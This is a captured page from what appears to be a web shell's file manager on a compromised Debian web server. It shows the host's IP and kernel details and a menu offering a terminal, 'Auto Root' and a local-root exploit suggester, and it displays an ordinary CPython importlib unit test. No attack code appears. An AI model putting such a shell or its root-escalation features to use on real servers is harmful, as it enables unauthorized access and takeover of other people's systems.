Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
Python-3.10.14 /
Lib /
test /
test_importlib /
Delete
Unzip
Name
Size
Permission
Date
Action
builtin
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
data
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
data01
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
data02
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
data03
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
extension
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
frozen
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
import_
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
namespace_pkgs
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
namespacedata01
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
partial
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
source
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
zipdata01
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
zipdata02
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
__init__.py
142
B
-rw-r--r--
2024-03-19 22:46
__main__.py
58
B
-rw-r--r--
2024-03-19 22:46
abc.py
2.22
KB
-rw-r--r--
2024-03-19 22:46
fixtures.py
7.28
KB
-rw-r--r--
2024-03-19 22:46
stubs.py
233
B
-rw-r--r--
2024-03-19 22:46
test_abc.py
34.19
KB
-rw-r--r--
2024-03-19 22:46
test_api.py
18.59
KB
-rw-r--r--
2024-03-19 22:46
test_files.py
1011
B
-rw-r--r--
2024-03-19 22:46
test_lazy.py
4.81
KB
-rw-r--r--
2024-03-19 22:46
test_locks.py
4.41
KB
-rw-r--r--
2024-03-19 22:46
test_main.py
8.75
KB
-rw-r--r--
2024-03-19 22:46
test_metadata_api.py
11.41
KB
-rw-r--r--
2024-03-19 22:46
test_namespace_pkgs.py
12.11
KB
-rw-r--r--
2024-03-19 22:46
test_open.py
2.31
KB
-rw-r--r--
2024-03-19 22:46
test_path.py
1.88
KB
-rw-r--r--
2024-03-19 22:46
test_pkg_import.py
2.69
KB
-rw-r--r--
2024-03-19 22:46
test_read.py
1.94
KB
-rw-r--r--
2024-03-19 22:46
test_reader.py
4.18
KB
-rw-r--r--
2024-03-19 22:46
test_resource.py
8.18
KB
-rw-r--r--
2024-03-19 22:46
test_spec.py
30.88
KB
-rw-r--r--
2024-03-19 22:46
test_threaded_import.py
9.49
KB
-rw-r--r--
2024-03-19 22:46
test_util.py
34.67
KB
-rw-r--r--
2024-03-19 22:46
test_windows.py
7.26
KB
-rw-r--r--
2024-03-19 22:46
test_zip.py
2.61
KB
-rw-r--r--
2024-03-19 22:46
threaded_import_hangers.py
1.45
KB
-rw-r--r--
2024-03-19 22:46
update-zips.py
1.38
KB
-rwxr-xr-x
2024-03-19 22:46
util.py
18.22
KB
-rw-r--r--
2024-03-19 22:46
Save
Rename
import io import unittest from importlib import resources from . import data01 from . import util class CommonTests(util.CommonResourceTests, unittest.TestCase): def execute(self, package, path): with resources.path(package, path): pass class PathTests: def test_reading(self): # Path should be readable. # Test also implicitly verifies the returned object is a pathlib.Path # instance. with resources.path(self.data, 'utf-8.file') as path: self.assertTrue(path.name.endswith("utf-8.file"), repr(path)) # pathlib.Path.read_text() was introduced in Python 3.5. with path.open('r', encoding='utf-8') as file: text = file.read() self.assertEqual('Hello, UTF-8 world!\n', text) class PathDiskTests(PathTests, unittest.TestCase): data = data01 def test_natural_path(self): # Guarantee the internal implementation detail that # file-system-backed resources do not get the tempdir # treatment. with resources.path(self.data, 'utf-8.file') as path: assert 'data' in str(path) class PathMemoryTests(PathTests, unittest.TestCase): def setUp(self): file = io.BytesIO(b'Hello, UTF-8 world!\n') self.addCleanup(file.close) self.data = util.create_package( file=file, path=FileNotFoundError("package exists only in memory") ) self.data.__spec__.origin = None self.data.__spec__.has_location = False class PathZipTests(PathTests, util.ZipSetup, unittest.TestCase): def test_remove_in_context_manager(self): # It is not an error if the file that was temporarily stashed on the # file system is removed inside the `with` stanza. with resources.path(self.data, 'utf-8.file') as path: path.unlink() if __name__ == '__main__': unittest.main()